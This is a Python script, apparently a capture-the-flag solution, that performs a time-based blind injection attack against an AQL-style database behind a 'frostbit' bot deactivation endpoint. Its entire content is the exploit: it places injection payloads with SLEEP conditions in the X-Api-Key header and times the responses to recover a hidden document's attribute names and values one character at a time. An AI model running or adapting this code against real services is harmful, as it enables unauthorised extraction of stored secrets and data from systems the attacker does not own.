import requests
import time

uuid = "<UUID>"

# Build up the character set
lower = "abcdefghijklmnopqrstuvwxyz"
upper = lower.upper()
other = "0123456789"
chars = list(other+lower+upper)
chars.append("-")
chars.append(".")
chars.append("_")
    
def attempt(api_key):
    url = f"https://api.frostbit.app/api/v1/frostbitadmin/bot/{uuid}/deactivate?debug=1"
    headers = {
        "X-Api-Key": api_key
    }
    start = time.time()
    r = requests.get(url, headers=headers)
    elapsed = time.time()-start
    if elapsed > 1.5:
        return True
    return False
    
def fetch_attr(index=0):
    obj = {}
    num_attr = 0
    for x in range(10):
        if attempt(f"' or LENGTH(ATTRIBUTES(doc))=={x} ? SLEEP(2) : 'a"):
            num_attr = x
            break
    
    print(f"Number of attributes [{num_attr}]")
    
    for x in range(num_attr):
        attr_len = 0
        for y in range(40):
            if attempt(f"' or LENGTH(ATTRIBUTES(doc)[{x}])=={y} ? SLEEP(2) : 'a"):
                attr_len = y
                break    
        print(f"Attribute [{x}] has name of length [{attr_len}]")        
        
        attr_name = ""
        for y in range(attr_len):
            for char in chars:
                if attempt(f"' or ATTRIBUTES(doc)[{x}] LIKE '{attr_name+char}%' ? SLEEP(2) : 'a"):
                    attr_name = attr_name+char
                    break
        print(f"Attribute[{x}] is [{attr_name}]")
        
        attr_val_len = 0
        for y in range(40):
            if attempt(f"' or LENGTH(doc.{attr_name})=={y} ? SLEEP(2) : 'a"):
                attr_val_len = y
                break    
        print(f"Attribute doc.{attr_name} has value of length [{attr_val_len}]")
        
        attr_value = ""
        for y in range(attr_val_len):
            for char in chars:
                if attempt(f"' or doc.{attr_name} LIKE '{attr_value+char}%' ? SLEEP(2) : 'a"):
                    attr_value = attr_value+char
                    break
                else:
                    if char == chars[-1]:
                        attr_value = attr_value+char
        obj[attr_name] = attr_value
        print(f"Attribute doc.{attr_name}] is [{attr_value}]")
        
    print("Reconstructed object:")
    print(obj)

try:           
    fetch_attr()
except KeyboardInterrupt:
    print("Ctrl+C")
